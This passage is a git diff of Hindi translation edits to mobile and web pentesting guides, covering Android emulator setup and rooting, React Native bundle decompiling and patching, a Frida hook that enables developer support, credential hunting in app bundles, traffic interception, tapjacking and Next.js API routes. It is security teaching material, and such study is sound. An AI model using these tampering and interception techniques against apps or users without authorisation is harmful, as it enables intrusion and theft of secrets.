a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -6,19 +6,19 @@ Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his h ## What is -Android Studio **एंड्रॉइड के वर्चुअल मशीनों को चलाने की अनुमति देता है जिन्हें आप APKs का परीक्षण करने के लिए उपयोग कर सकते हैं**। उनका उपयोग करने के लिए आपको आवश्यकता होगी: +Android Studio **आपको APKs का परीक्षण करने के लिए उपयोग करने के लिए Android के वर्चुअल मशीन चलाने की अनुमति देता है**। उनका उपयोग करने के लिए आपको आवश्यकता होगी: -- **Android SDK टूल** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- या **Android Studio** (Android SDK टूल के साथ) - [Download here](https://developer.android.com/studio). +- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- या **Android Studio** (Android SDK tools के साथ) - [Download here](https://developer.android.com/studio). Windows में (मेरे मामले में) **Android Studio स्थापित करने के बाद** मेरे पास **SDK Tools स्थापित थे**: `C:\Users\\AppData\Local\Android\Sdk\tools` -Mac में आप **SDK टूल डाउनलोड कर सकते हैं** और उन्हें PATH में रख सकते हैं: +Mac में आप **SDK tools डाउनलोड कर सकते हैं** और उन्हें PATH में रख सकते हैं: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -या **Android Studio GUI** से जैसा कि [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) में संकेतित है, जो उन्हें `~/Library/Android/sdk/cmdline-tools/latest/bin/` और `~/Library/Android/sdk/platform-tools/` और `~/Library/Android/sdk/emulator/` में स्थापित करेगा। +या **Android Studio GUI** से जैसा कि [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) में संकेतित किया गया है, जो उन्हें `~/Library/Android/sdk/cmdline-tools/latest/bin/` और `~/Library/Android/sdk/platform-tools/` और `~/Library/Android/sdk/emulator/` में स्थापित करेगा। Java समस्याओं के लिए: ```java @@ -43,16 +43,16 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home _**select** वह फोन जिसे आप उपयोग करना चाहते हैं_ और _**Next.**_ पर क्लिक करें। > [!WARNING] -> यदि आपको Play Store के साथ फोन की आवश्यकता है, तो उस पर Play Store आइकन वाला फोन चुनें! +> यदि आपको Play Store के साथ फोन की आवश्यकता है, तो एक ऐसा चुनें जिसमें Play Store का आइकन हो! > > -वर्तमान दृश्य में आप **Android इमेज का चयन और डाउनलोड** करने में सक्षम होंगे जिसे फोन चलाने वाला है: +वर्तमान दृश्य में आप **Android इमेज का चयन और डाउनलोड** करने में सक्षम होंगे जिसे फोन चलाएगा:
तो, इसे चुनें और यदि यह डाउनलोड नहीं हुआ है तो नाम के बगल में _**Download**_ प्रतीक पर क्लिक करें (**अब इमेज डाउनलोड होने तक प्रतीक्षा करें)।**\ -एक बार इमेज डाउनलोड हो जाने के बाद, बस **`Next`** और **`Finish`** चुनें। +एक बार इमेज डाउनलोड हो जाने के बाद, बस **`Next`** और **`Finish`** का चयन करें। वर्चुअल मशीन बनाई जाएगी। अब **हर बार जब आप AVD प्रबंधक तक पहुँचेंगे, यह मौजूद होगा**। @@ -64,6 +64,9 @@ _**select** वह फोन जिसे आप उपयोग करना ## Command Line tool +> [!WARNING] +> macOS के लिए आप `avdmanager` टूल `/Users//Library/Android/sdk/tools/bin/avdmanager` में और `emulator` को `/Users//Library/Android/sdk/emulator/emulator` में पा सकते हैं यदि आपने इन्हें स्थापित किया है। + सबसे पहले आपको **निर्धारित करना होगा कि आप कौन सा फोन उपयोग करना चाहते हैं**, संभावित फोन की सूची देखने के लिए निष्पादित करें: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -101,7 +104,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -एक बार जब आप उस Android इमेज को डाउनलोड कर लेते हैं जिसे आप उपयोग करना चाहते हैं, आप **सभी डाउनलोड की गई Android इमेज़ की सूची बना सकते हैं**: +एक बार जब आप उस Android इमेज को डाउनलोड कर लेते हैं जिसे आप उपयोग करना चाहते हैं, आप **सभी डाउनलोड की गई Android इमेज़ की सूची** इस प्रकार देख सकते हैं: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -121,8 +124,8 @@ Revision: 4 ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -अंतिम कमांड में **मैंने एक VM नामित** "_AVD9_" **डिवाइस** "_Nexus 5X_" और **एंड्रॉइड इमेज** "_system-images;android-28;google_apis;x86_64_" का उपयोग करके बनाया।\ -अब आप **आपके द्वारा बनाए गए वर्चुअल मशीनों** की सूची देख सकते हैं: +अंतिम कमांड में **मैंने एक VM नामित** "_AVD9_" **निर्मित किया** जो **डिवाइस** "_Nexus 5X_" और **एंड्रॉइड इमेज** "_system-images;android-28;google_apis;x86_64_" का उपयोग करता है।\ +अब आप **आपके द्वारा निर्मित वर्चुअल मशीनों की सूची** प्राप्त कर सकते हैं: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -139,7 +142,10 @@ Error: Google pixel_2 no longer exists as a device ``` ### वर्चुअल मशीन चलाएँ -हम पहले ही देख चुके हैं कि आप बनाए गए वर्चुअल मशीनों को कैसे सूचीबद्ध कर सकते हैं, लेकिन **आप उन्हें निम्नलिखित का उपयोग करके भी सूचीबद्ध कर सकते हैं**: +> [!WARNING] +> macOS के लिए, आप `avdmanager` टूल `/Users//Library/Android/sdk/tools/bin/avdmanager` में और `emulator` `/Users//Library/Android/sdk/emulator/emulator` में पा सकते हैं यदि आपने इन्हें स्थापित किया है। + +हम पहले ही देख चुके हैं कि आप बनाए गए वर्चुअल मशीनों की सूची कैसे देख सकते हैं, लेकिन **आप उन्हें निम्नलिखित का उपयोग करके भी सूचीबद्ध कर सकते हैं**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 @@ -156,7 +162,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ``` ### Command line options -हालांकि **कई अलग-अलग कमांड लाइन उपयोगी विकल्प** हैं जिन्हें आप एक वर्चुअल मशीन शुरू करने के लिए उपयोग कर सकते हैं। नीचे कुछ दिलचस्प विकल्प दिए गए हैं लेकिन आप [**यहां एक पूर्ण सूची पा सकते हैं**](https://developer.android.com/studio/run/emulator-commandline) +हालांकि **कई विभिन्न कमांड लाइन उपयोगी विकल्प** हैं जिन्हें आप एक वर्चुअल मशीन शुरू करने के लिए उपयोग कर सकते हैं। नीचे कुछ दिलचस्प विकल्प दिए गए हैं लेकिन आप [**यहां एक पूर्ण सूची पा सकते हैं**](https://developer.android.com/studio/run/emulator-commandline) **Boot** @@ -165,9 +171,11 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht **Network** -- `-dns-server 192.0.2.0, 192.0.2.255` : VM के लिए DNS सर्वरों को कॉमा से अलग करके इंगित करने की अनुमति दें। -- **`-http-proxy 192.168.1.12:8080`** : उपयोग करने के लिए एक HTTP प्रॉक्सी इंगित करने की अनुमति दें (Burp का उपयोग करके ट्रैफ़िक कैप्चर करने के लिए बहुत उपयोगी) -- `-port 5556` : कंसोल और adb के लिए उपयोग किए जाने वाले TCP पोर्ट नंबर को सेट करें। +- `-dns-server 192.0.2.0, 192.0.2.255` : VM के लिए कॉमा से अलग DNS सर्वर निर्दिष्ट करने की अनुमति दें। +- **`-http-proxy 192.168.1.12:8080`** : उपयोग करने के लिए एक HTTP प्रॉक्सी निर्दिष्ट करने की अनुमति दें (Burp का उपयोग करके ट्रैफ़िक कैप्चर करने के लिए बहुत उपयोगी) +- यदि प्रॉक्सी सेटिंग्स किसी कारण से काम नहीं कर रही हैं, तो उन्हें आंतरिक रूप से या "Super Proxy" या "ProxyDroid" जैसी एप्लिकेशन का उपयोग करके कॉन्फ़िगर करने का प्रयास करें। +- `-netdelay 200` : मिलीसेकंड में नेटवर्क विलंबता अनुकरण सेट करें। +- `-port 5556` : कंसोल और adb के लिए उपयोग किए जाने वाले TCP पोर्ट नंबर सेट करें। - `-ports 5556,5559` : कंसोल और adb के लिए उपयोग किए जाने वाले TCP पोर्ट सेट करें। - **`-tcpdump /path/dumpfile.cap`** : एक फ़ाइल में सभी ट्रैफ़िक कैप्चर करें @@ -175,7 +183,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht - `-selinux {disabled|permissive}` : Linux ऑपरेटिंग सिस्टम पर सुरक्षा-संवर्धित लिनक्स सुरक्षा मॉड्यूल को या तो अक्षम या अनुमति मोड पर सेट करें। - `-timezone Europe/Paris` : वर्चुअल डिवाइस के लिए समय क्षेत्र सेट करें -- `-screen {touch(default)|multi-touch|o-touch}` : अनुकरण किए गए टच स्क्रीन मोड को सेट करें। +- `-screen {touch(default)|multi-touch|o-touch}` : अनुकरण किए गए टच स्क्रीन मोड सेट करें। - **`-writable-system`** : अपने अनुकरण सत्र के दौरान एक लिखने योग्य सिस्टम छवि रखने के लिए इस विकल्प का उपयोग करें। आपको `adb root; adb remount` भी चलाना होगा। यह सिस्टम में एक नया प्रमाणपत्र स्थापित करने के लिए बहुत उपयोगी है। ## Rooting a Play Store device @@ -185,12 +193,13 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht $ adb root adbd cannot run as root in production builds ``` -[**rootAVD**](https://github.com/newbit1/rootAVD) का उपयोग करते हुए [**Magisk**](https://github.com/topjohnwu/Magisk) के साथ, मैं इसे रूट करने में सक्षम था (उदाहरण के लिए [**इस वीडियो**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **या** [**इस एक**](https://www.youtube.com/watch?v=qQicUW0svB8))। +Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) मैं इसे रूट करने में सक्षम था (उदाहरण के लिए [**इस वीडियो**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **या** [**इस एक**](https://www.youtube.com/watch?v=qQicUW0svB8))। ## Burp प्रमाणपत्र स्थापित करें कस्टम CA प्रमाणपत्र स्थापित करने के लिए निम्नलिखित पृष्ठ की जांच करें: + {{#ref}} install-burp-certificate.md {{#endref}} @@ -199,7 +208,7 @@ install-burp-certificate.md ### स्नैपशॉट लें -आप किसी भी समय VM का स्नैपशॉट लेने के लिए **GUI** का उपयोग कर सकते हैं: +आप किसी भी समय VM का स्नैपशॉट लेने के लिए **GUI का उपयोग कर सकते हैं**: ![](<../../images/image (234).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index c6826f890..0d35883cb 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -4,9 +4,9 @@ यह पुष्टि करने के लिए कि एप्लिकेशन React Native फ्रेमवर्क पर बनाया गया था, इन चरणों का पालन करें: -1. APK फ़ाइल का नाम बदलकर zip एक्सटेंशन दें और इसे एक नए फ़ोल्डर में निकालें, कमांड का उपयोग करते हुए `cp com.example.apk example-apk.zip` और `unzip -qq example-apk.zip -d ReactNative`। +1. APK फ़ाइल का नाम बदलकर zip एक्सटेंशन दें और इसे नए फ़ोल्डर में निकालें, कमांड का उपयोग करते हुए `cp com.example.apk example-apk.zip` और `unzip -qq example-apk.zip -d ReactNative`। -2. नए बनाए गए ReactNative फ़ोल्डर में जाएं और assets फ़ोल्डर को खोजें। इस फ़ोल्डर के अंदर, आपको फ़ाइल `index.android.bundle` मिलनी चाहिए, जिसमें React JavaScript संकुचित प्रारूप में है। +2. नए बनाए गए ReactNative फ़ोल्डर में जाएं और assets फ़ोल्डर को खोजें। इस फ़ोल्डर के अंदर, आपको `index.android.bundle` फ़ाइल मिलनी चाहिए, जिसमें React JavaScript संकुचित प्रारूप में है। 3. JavaScript फ़ाइल खोजने के लिए कमांड का उपयोग करें `find . -print | grep -i ".bundle$"`। @@ -44,11 +44,11 @@ JavaScript कोड का और विश्लेषण करने के 4. Developer Toolbar में "Sources" पर क्लिक करें। आपको एक JavaScript फ़ाइल दिखाई देगी जो फ़ोल्डरों और फ़ाइलों में विभाजित है, जो मुख्य बंडल बनाती है। -यदि आप `index.android.bundle.map` नाम की फ़ाइल पाते हैं, तो आप अनमिनिफाइड प्रारूप में स्रोत कोड का विश्लेषण कर सकेंगे। मैप फ़ाइलें स्रोत मैपिंग को शामिल करती हैं, जो आपको मिनिफाइड पहचानकर्ताओं को मैप करने की अनुमति देती हैं। +यदि आपको `index.android.bundle.map` नाम की फ़ाइल मिलती है, तो आप स्रोत कोड का विश्लेषण अनमिनिफाइड प्रारूप में कर सकेंगे। मैप फ़ाइलें स्रोत मैपिंग को शामिल करती हैं, जो आपको मिनिफाइड पहचानकर्ताओं को मैप करने की अनुमति देती हैं। संवेदनशील क्रेडेंशियल्स और एंडपॉइंट्स की खोज करने के लिए, इन चरणों का पालन करें: -1. JavaScript कोड का विश्लेषण करने के लिए संवेदनशील कीवर्ड की पहचान करें। React Native एप्लिकेशन अक्सर Firebase, AWS S3 सेवा एंडपॉइंट्स, निजी कुंजी आदि जैसे थर्ड-पार्टी सेवाओं का उपयोग करते हैं। +1. JavaScript कोड का विश्लेषण करने के लिए संवेदनशील कीवर्ड्स की पहचान करें। React Native एप्लिकेशन अक्सर Firebase, AWS S3 सेवा एंडपॉइंट्स, निजी कुंजी आदि जैसे थर्ड-पार्टी सेवाओं का उपयोग करते हैं। 2. इस विशेष मामले में, एप्लिकेशन को Dialogflow सेवा का उपयोग करते हुए देखा गया। इसके कॉन्फ़िगरेशन से संबंधित पैटर्न की खोज करें। @@ -90,7 +90,7 @@ strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)" file index.android.bundle index.android.bundle: Hermes JavaScript bytecode, version 96 ``` -हालांकि, आप उपकरणों का उपयोग कर सकते हैं **[hbctool](https://github.com/bongtrop/hbctool)**, hbctool के अपडेटेड फोर्क जो नए बाइटकोड संस्करणों का समर्थन करते हैं, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust लाइब्रेरी/APIs), या **[hermes-dec](https://github.com/P1sec/hermes-dec)** **बाइटकोड को डिसअस्सेम्बल करने** और **इसे कुछ प्सेडो JS कोड में डिकंपाइल करने** के लिए। उदाहरण के लिए: +हालांकि, आप उपकरणों का उपयोग कर सकते हैं **[hbctool](https://github.com/bongtrop/hbctool)**, hbctool के अपडेटेड फोर्क जो नए बाइटकोड संस्करणों का समर्थन करते हैं, **[hasmer](https://github.com/lucasbaizer2/hasmer)**, **[hermes_rs](https://github.com/Pilfer/hermes_rs)** (Rust लाइब्रेरी/APIs), या **[hermes-dec](https://github.com/P1sec/hermes-dec)** **बाइटकोड को डिस्सेम्बल करने** और **इसे कुछ प्सेडो JS कोड में डिकंपाइल करने** के लिए। उदाहरण के लिए: ```bash # Disassemble and re-assemble with hbctool (works only for supported HBC versions) hbctool disasm ./index.android.bundle ./hasm_out @@ -110,8 +110,8 @@ Tip: ओपन-सोर्स Hermes प्रोजेक्ट विशे आदर्श रूप से, आपको असेंबल किए गए कोड में संशोधन करने में सक्षम होना चाहिए (तुलना, या मान या जो भी आपको संशोधित करने की आवश्यकता है) और फिर **बाइटकोड को पुनर्निर्माण** करना चाहिए और ऐप को पुनर्निर्माण करना चाहिए। -- मूल **[hbctool](https://github.com/bongtrop/hbctool)** बंडल को असेंबल करने और परिवर्तनों के बाद इसे फिर से बनाने का समर्थन करता है, लेकिन ऐतिहासिक रूप से केवल पुराने बाइटकोड संस्करणों का समर्थन किया है। समुदाय द्वारा बनाए गए फोर्क नए Hermes संस्करणों (मध्य-80 के दशक–96 सहित) के लिए समर्थन बढ़ाते हैं और अक्सर आधुनिक RN ऐप्स को पैच करने के लिए सबसे व्यावहारिक विकल्प होते हैं। -- टूल **[hermes-dec](https://github.com/P1sec/hermes-dec)** बाइटकोड को पुनर्निर्माण का समर्थन नहीं करता (डीकंपाइलर/डिस्सेम्बलर केवल), लेकिन यह लॉजिक को नेविगेट करने और स्ट्रिंग्स को डंप करने में बहुत सहायक है। +- मूल **[hbctool](https://github.com/bongtrop/hbctool)** बंडल को असेंबल करने और परिवर्तनों के बाद इसे फिर से बनाने का समर्थन करता है, लेकिन ऐतिहासिक रूप से केवल पुराने बाइटकोड संस्करणों का समर्थन किया है। समुदाय द्वारा बनाए गए फोर्क नए Hermes संस्करणों (मध्य-80s–96 सहित) का समर्थन बढ़ाते हैं और अक्सर आधुनिक RN ऐप्स को पैच करने के लिए सबसे व्यावहारिक विकल्प होते हैं। +- टूल **[hermes-dec](https://github.com/P1sec/hermes-dec)** बाइटकोड को पुनर्निर्माण का समर्थन नहीं करता (डिकंपाइलर/डिस्सेम्बलर केवल), लेकिन यह लॉजिक को नेविगेट करने और स्ट्रिंग्स को डंप करने में बहुत सहायक है। - टूल **[hasmer](https://github.com/lucasbaizer2/hasmer)** कई Hermes संस्करणों के लिए असेंबली और असेंबली दोनों का समर्थन करने का लक्ष्य रखता है; असेंबली अभी भी परिपक्व हो रही है लेकिन हाल के बाइटकोड पर प्रयास करने के लायक है। hbctool-जैसे असेंबलरों के साथ एक न्यूनतम कार्यप्रवाह: @@ -134,11 +134,11 @@ zip -r ../patched.apk * ## डायनामिक एनालिसिस -आप ऐप का डायनामिक एनालिसिस करने के लिए Frida का उपयोग करके React ऐप के डेवलपर मोड को सक्षम करने और **`react-native-debugger`** का उपयोग करके इससे जुड़ने की कोशिश कर सकते हैं। हालाँकि, इसके लिए आपको ऐप का स्रोत कोड चाहिए होगा। आप इसके बारे में अधिक जानकारी [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/) पर पा सकते हैं। +आप ऐप का डायनामिक एनालिसिस करने के लिए Frida का उपयोग कर सकते हैं ताकि React ऐप का डेवलपर मोड सक्षम किया जा सके और **`react-native-debugger`** को इससे जोड़ सकें। हालाँकि, इसके लिए आपको ऐप का स्रोत कोड चाहिए। आप इसके बारे में अधिक जानकारी [https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/](https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/) पर पा सकते हैं। -### Frida के साथ रिलीज़ में Dev Support सक्षम करना (चेतावनियाँ) +### Frida के साथ रिलीज़ में डेवलपमेंट सपोर्ट सक्षम करना (चेतावनियाँ) -कुछ ऐप्स गलती से ऐसे क्लासेस भेजते हैं जो Dev Support को टॉगल करने योग्य बनाते हैं। यदि मौजूद हैं, तो आप `getUseDeveloperSupport()` को true लौटाने के लिए मजबूर करने की कोशिश कर सकते हैं: +कुछ ऐप्स गलती से ऐसे क्लासेस भेजते हैं जो डेवलपमेंट सपोर्ट को टॉगल करने योग्य बनाते हैं। यदि मौजूद हैं, तो आप `getUseDeveloperSupport()` को true लौटाने के लिए मजबूर करने की कोशिश कर सकते हैं: ```javascript // frida -U -f com.target.app -l enable-dev.js Java.perform(function(){ @@ -153,11 +153,11 @@ console.log('[-] Could not patch: ' + e); } }); ``` -Warning: सही तरीके से बनाए गए रिलीज बिल्ड में, `DevSupportManagerImpl` और संबंधित डिबग-केवल क्लासेस को हटा दिया जाता है और इस फ्लैग को बदलने से ऐप क्रैश हो सकता है या कोई प्रभाव नहीं पड़ सकता है। जब यह काम करता है, तो आप आमतौर पर डेवलपर मेनू को उजागर कर सकते हैं और डिबगर/इंस्पेक्टर को अटैच कर सकते हैं। +Warning: सही तरीके से बनाए गए रिलीज बिल्ड में, `DevSupportManagerImpl` और संबंधित डिबग-केवल क्लासेस को हटा दिया जाता है और इस फ्लैग को बदलने से ऐप क्रैश हो सकता है या कोई प्रभाव नहीं पड़ सकता है। जब यह काम करता है, तो आप आमतौर पर डेवलपर मेनू को उजागर कर सकते हैं और डिबगर्स/इंस्पेक्टर्स को अटैच कर सकते हैं। ### RN ऐप्स में नेटवर्क इंटरसेप्शन -React Native Android आमतौर पर OkHttp पर निर्भर करता है ( `Networking` नेचुरल मॉड्यूल के माध्यम से)। डायनामिक परीक्षण के दौरान नॉन-रूटेड डिवाइस पर ट्रैफिक को इंटरसेप्ट/ऑब्जर्व करने के लिए: +React Native Android आमतौर पर OkHttp पर निर्भर करता है ( `Networking` नेचुरल मॉड्यूल के माध्यम से)। डायनामिक टेस्ट के दौरान नॉन-रूटेड डिवाइस पर ट्रैफिक को इंटरसेप्ट/ऑब्जर्व करने के लिए: - सिस्टम प्रॉक्सी का उपयोग करें + यूजर CA पर भरोसा करें या अन्य सामान्य Android TLS बायपास तकनीकों का उपयोग करें। - RN-विशिष्ट टिप: यदि ऐप गलती से रिलीज में Flipper को बंडल करता है (डिबग टूलिंग), तो Flipper नेटवर्क प्लगइन अनुरोधों/प्रतिक्रियाओं को उजागर कर सकता है। @@ -175,8 +175,8 @@ frida-tutorial/objection-tutorial.md JS बंडल या नेचुरल लाइब्रेरी में दिखाई देने वाले थर्ड-पार्टी मॉड्यूल का ऑडिट करते समय, ज्ञात कमजोरियों की जांच करें और `package.json`/`yarn.lock` में संस्करणों की पुष्टि करें। -- react-native-mmkv (Android): 2.11.0 से पहले के संस्करणों ने वैकल्पिक एन्क्रिप्शन कुंजी को Android लॉग में लॉग किया। यदि ADB/logcat उपलब्ध है, तो रहस्य पुनर्प्राप्त किए जा सकते हैं। सुनिश्चित करें कि >= 2.11.0 है। संकेत: `react-native-mmkv` का उपयोग, एन्क्रिप्शन के साथ MMKV init का उल्लेख करने वाले लॉग स्टेटमेंट। CVE-2024-21668। -- react-native-document-picker: संस्करण < 9.1.1 Android पर पथ यात्रा के लिए कमजोर थे (फाइल चयन), 9.1.1 में ठीक किया गया। इनपुट और लाइब्रेरी संस्करण की पुष्टि करें। +- react-native-mmkv (Android): 2.11.0 से पहले के संस्करणों ने वैकल्पिक एन्क्रिप्शन कुंजी को Android लॉग में लॉग किया। यदि ADB/logcat उपलब्ध है, तो रहस्य पुनर्प्राप्त किए जा सकते हैं। सुनिश्चित करें कि >= 2.11.0 है। संकेत: `react-native-mmkv` का उपयोग, एन्क्रिप्शन के साथ MMKV इनिशियलाइज़ेशन का उल्लेख करने वाले लॉग स्टेटमेंट। CVE-2024-21668। +- react-native-document-picker: संस्करण < 9.1.1 Android पर पाथ ट्रैवर्सल के प्रति संवेदनशील थे (फाइल चयन), 9.1.1 में ठीक किया गया। इनपुट और लाइब्रेरी संस्करण की पुष्टि करें। त्वरित जांच: ```bash diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index fc3e73d3b..93083e6f4 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -4,12 +4,12 @@ ## **बुनियादी जानकारी** -**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **अनुप्रयोग** लॉन्च किया जाता है और **पीड़ित अनुप्रयोग के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से ढक लेता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ इंटरैक्ट करने के लिए धोखा खा जाए, जबकि यह इंटरैक्शन को पीड़ित ऐप के पास भेज रहा है।\ +**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **अनुप्रयोग** लॉन्च किया जाता है और यह **पीड़ित अनुप्रयोग के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ बातचीत करने के लिए धोखा खा जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। ### पहचान -इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यातित होती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट अनुप्रयोग को भी उस अनुमति की आवश्यकता होगी**। +इस हमले के प्रति संवेदनशील ऐप्स का पता लगाने के लिए, आपको एंड्रॉइड मैनिफेस्ट में **निर्यातित गतिविधियों** की खोज करनी चाहिए (ध्यान दें कि एक गतिविधि जिसमें एक इरादा-फिल्टर है, डिफ़ॉल्ट रूप से स्वचालित रूप से निर्यात की जाती है)। एक बार जब आप निर्यातित गतिविधियों को ढूंढ लेते हैं, तो **जांचें कि क्या उन्हें कोई अनुमति चाहिए**। इसका कारण यह है कि **दुष्ट अनुप्रयोग को भी उस अनुमति की आवश्यकता होगी**। आप ऐप के न्यूनतम SDK संस्करण की भी जांच कर सकते हैं, **`android:minSdkVersion`** के मान की जांच करते हुए **`AndroidManifest.xml`** फ़ाइल में। यदि मान **30 से कम है**, तो ऐप Tapjacking के प्रति संवेदनशील है। @@ -21,12 +21,12 @@ #### `filterTouchesWhenObscured` -यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब भी स्पर्श नहीं मिलेगा जब दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा ढकी हुई हो। +यदि **`android:filterTouchesWhenObscured`** को **`true`** पर सेट किया गया है, तो `View` को तब स्पर्श नहीं मिलेगा जब भी दृश्य की विंडो किसी अन्य दृश्यमान विंडो द्वारा अस्पष्ट हो। #### **`setFilterTouchesWhenObscured`** गुण **`setFilterTouchesWhenObscured`** को सत्य पर सेट करने से इस संवेदनशीलता के शोषण को भी रोका जा सकता है यदि Android संस्करण कम है।\ -यदि इसे **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन को स्वचालित रूप से **अक्षम किया जा सकता है यदि यह ढका हुआ है**: +यदि इसे **`true`** पर सेट किया गया है, तो उदाहरण के लिए, एक बटन को स्वचालित रूप से **अक्षम किया जा सकता है यदि यह अस्पष्ट है**: ```xml
-Next.js 12 और पहले API रूट्स को संभालना +Next.js 12 और इससे पहले API रूट्स को संभालना -## `pages` डायरेक्टरी में API रूट्स (Next.js 12 और पहले) +## `pages` निर्देशिका में API रूट्स (Next.js 12 और इससे पहले) -Next.js 13 ने `app` डायरेक्टरी और रूटिंग क्षमताओं को बढ़ाने से पहले, API रूट्स मुख्य रूप से `pages` डायरेक्टरी के भीतर परिभाषित किए गए थे। यह दृष्टिकोण अभी भी व्यापक रूप से उपयोग किया जाता है और Next.js 12 और पहले के संस्करणों में समर्थित है। +Next.js 13 ने `app` निर्देशिका और उन्नत रूटिंग क्षमताओं को पेश करने से पहले, API रूट्स मुख्य रूप से `pages` निर्देशिका के भीतर परिभाषित किए गए थे। यह दृष्टिकोण अभी भी व्यापक रूप से उपयोग किया जाता है और Next.js 12 और इससे पहले के संस्करणों में समर्थित है। #### बुनियादी API रूट @@ -603,7 +603,7 @@ goCopy codemy-nextjs-app/ ├── package.json └── ... ``` -**क्रियान्वयन:** +**कार्यान्वयन:** ```javascript javascriptCopy code// pages/api/hello.js @@ -630,7 +630,7 @@ bashCopy codemy-nextjs-app/ ├── package.json └── ... ``` -**क्रियान्वयन:** +**कार्यान्वयन:** ```javascript javascriptCopy code// pages/api/users/[id].js @@ -661,13 +661,13 @@ res.status(405).end(`Method ${method} Not Allowed`); ``` **व्याख्या:** -- **गतिशील खंड:** वर्गाकार ब्रैकेट (`[id].js`) गतिशील मार्ग खंड को दर्शाते हैं। +- **गतिशील खंड:** वर्गाकार ब्रैकेट (`[id].js`) गतिशील मार्ग खंडों को दर्शाते हैं। - **पैरामीटर तक पहुँच:** गतिशील पैरामीटर तक पहुँचने के लिए `req.query.id` का उपयोग करें। - **विधियों को संभालना:** विभिन्न HTTP विधियों (`GET`, `PUT`, `DELETE`, आदि) को संभालने के लिए शर्तीय तर्क का उपयोग करें। #### विभिन्न HTTP विधियों को संभालना -जबकि बुनियादी API मार्ग उदाहरण एकल फ़ंक्शन के भीतर सभी HTTP विधियों को संभालता है, आप बेहतर स्पष्टता और रखरखाव के लिए प्रत्येक विधि को स्पष्ट रूप से संभालने के लिए अपने कोड को संरचित कर सकते हैं। +जबकि बुनियादी API मार्ग उदाहरण सभी HTTP विधियों को एकल फ़ंक्शन के भीतर संभालता है, आप अपने कोड को बेहतर स्पष्टता और रखरखाव के लिए प्रत्येक विधि को स्पष्ट रूप से संभालने के लिए संरचित कर सकते हैं। **उदाहरण:** ```javascript @@ -701,7 +701,7 @@ res.status(405).end(`Method ${method} Not Allowed`); ### CORS 